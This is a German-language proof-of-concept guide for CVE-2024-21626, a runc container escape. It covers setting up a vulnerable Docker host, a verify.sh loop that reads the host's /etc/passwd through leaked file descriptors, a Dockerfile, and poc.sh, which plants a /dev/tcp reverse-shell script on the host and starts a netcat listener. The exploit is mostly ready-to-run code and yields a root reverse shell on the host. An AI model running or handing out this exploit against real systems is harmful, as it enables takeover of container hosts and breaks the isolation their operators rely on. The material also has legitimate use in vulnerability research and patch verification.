CVE-2024-21626

POC

Anforderungen

runc 1.1.0 <= 1.1.11

Installation der verwundbaren Umgebung

Stellen Sie eine VM mit Ubuntu 20.04 bereit und laden Sie Docker gemäß deren Anleitung herunter

https://docs.docker.com/engine/install/ubuntu/

Ersetzen Sie die gepatchte 'runc'-Version in Docker durch eine verwundbare

Laden Sie eine verwundbare Version (runc 1.1.11 oder früher) aus dem runc-GitHub-Repository herunter: https://github.com/opencontainers/runc/releases
Wählen Sie runc.amd64 (Anforderung)

Ausführen des Exploits

Führen Sie das Skript 'verify.sh' aus

#! /bin/bash
for i in {4..20}; do
	docker run -it --rm -w /proc/self/fd/$i ubuntu:20.04 bash -c "cat
/proc/self/cwd/../../../etc/passwd"
done

Ändern Sie das Arbeitsverzeichnis im Dockerfile auf das korrekte fd, das durch Ausführen von verify.sh ermittelt wurde

FROM ubuntu:20.04
RUN apt-get update -y && apt-get install netcat -y
ADD ./poc.sh /poc.sh
WORKDIR /proc/self/fd/9

Erstellen Sie einen Container

docker build . -t name_of_container

poc.sh

#!/bin/bash
ip=$(hostname -I | awk '{print $1}')
port=1337
cat > /proc/self/cwd/../../../bin/bash.copy << EOF
#!/bin/bash
bash -i >& /dev/tcp/$ip/$port 0>&1
EOF

# listen and wait for reverse shell
nc -lvvp 1337

Führen Sie das Container-Image aus und führen Sie poc.sh in einer Bash-Shell aus

docker run -it --rm cve2024 bash /poc.sh

Container wechselt in den Abhörmodus

Auf dem Host-Rechner wurde im Root ein neues Skript namens 'bash.copy' im Verzeichnis /proc/self/cwd/../../../bin/ erstellt

Wenn Sie das Skript ausführbar machen und es ausführen...

chmod +x bash.copy
./bash.copy

... erhalten Sie eine Reverse Shell mit Root-Rechten auf dem Host-Rechner

Quelle

https://ethicalhacking.uk/cracking-containers-understanding-cve-2024-21626-in-runc/#gsc.tab=0